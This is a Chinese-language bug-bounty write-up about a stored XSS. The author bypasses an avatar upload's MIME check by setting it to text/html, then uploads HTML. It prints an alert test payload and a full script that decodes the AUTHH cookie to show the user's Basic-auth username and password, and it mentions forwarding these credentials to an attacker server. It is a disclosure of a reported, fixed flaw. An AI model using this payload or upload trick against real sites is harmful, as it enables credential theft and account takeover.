挖洞經驗 | 利用用戶頭像上傳功能構造實現存儲型XSS
本文中,作者在測試某Web目標站點APP的過程中,通過其中的用戶頭像上傳功能,可以成功上傳並加載HTML文件,進步利用該HTML文件可以形成存儲型XSS攻擊,讀取用戶的密碼信息。我們一起來看看其利用姿勢。
漏洞發現
當我註冊登錄了目標站點APP之後,經過對用戶設置項的檢查後發現,其中存在一個用戶頭像上傳功能,如下:
於是,我就用Burp對該上傳功能進行抓包分析:
請注意,這裏我用到了PATCH請求操作,可見其中的ProfilePicture參數爲一串base64編碼的圖像化字串,另外,之前的ProfilePictureMIME參數爲image/png,此處是我測試修改後的截圖。
該請求是一個圖片數據的上傳操作,會對上傳圖像執行一個base64編碼,然後通過JSON形式的結構上傳到相應的API接口中去。我嘗試着把ProfilePictureMIME參數值更改爲text/x-php和application/php後,上傳都被無效處理,但把其更改爲text/html後竟然被允許了,接着,我就隨手寫了個包含alert動作的html文件進行上傳:
<!DOCTYPE html> <html> <body> <h1>Test</h1> </body> <script> alert(1); </script> </html>
之後,把該html文件經base64編碼,替換掉原先的ProfilePicture參數值,然後更改ProfilePictureMIME參數值爲text/html,提交上傳。接下來,我在瀏覽器中訪問我的頭像文件,哦,可以成功加載上傳後的html文件!但遺憾的是,測試過程中在這裏我未作截圖。
由於服務器對這種用戶頭像圖片無需任何訪問權限限定,且Web目標站點存儲用戶頭像圖片的鏈接與主站域名相同,如下:
Web目標站點域名: https://something.redacted.com/
Web目標站點登錄鏈接: https://something.redacted.com/login/
也就是說,即使在我當前的登錄賬戶之內,也可以訪問到上述鏈接的其他用戶頭像圖片。由此我想到了一個攻擊場景,即在登錄賬戶之後,看看能否有可利用的Cookie信息,恰巧在其Cookie中發現了一個名爲AUTHH的經base64編碼的參數,後經比對發現,其與Authorization Header首部中的Cookie信息一致。由於該Web應用採用了HTTP Basic Authentication認證,雖然其中的密碼是base64編碼,但經簡單的轉碼後,就是可見的了。
Cookie: AUTHH=QmFzaWMgWm1GclpUcG1ZV3RsY0dGemN3PT0=
所以,我就構造出以下包含讀取用戶密碼信息的HTML文件進行上傳:
<html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/js-cookie@rc/dist/js.cookie.min.js"></script> </head> <body> <h1>Password Display by bad5ect0r</h1> <p>Your username is: < id="uname"></></p> <p>Your password is: < id="pass"></></p> </body> <script> $(document).ready(function () { const AUTHH = Cookies.get('AUTHH'); const unb64 = atob(AUTHH); const basic = unb64.split(' '); const uname_pass = atob(basic[1]).split(':'); const user = uname_pass[0]; const pass = uname_pass[1]; $('#uname').html(user); $('#pass').html(pass); }); </script> </html>
該HTML文件可以轉碼用戶Cookie中的AUTHH信息,從而明文顯示出用戶名密碼。當然攻擊者也可以在其中內置用戶密碼轉發操作,把獲取到的密碼信息轉發到他們控制的服務端中。該HTML成功加載後的效果如下:
之後我立即向廠商上報了漏洞,他們也及時地進行了修復。我的經驗是:如果在測試上傳功能的時候,無法有效上傳Webshell,那就嘗試上傳一個HTML文件試試。
*參考來源: bad5ect0r ,clouds 編譯整理,轉載請註明來自 FreeBuf.COM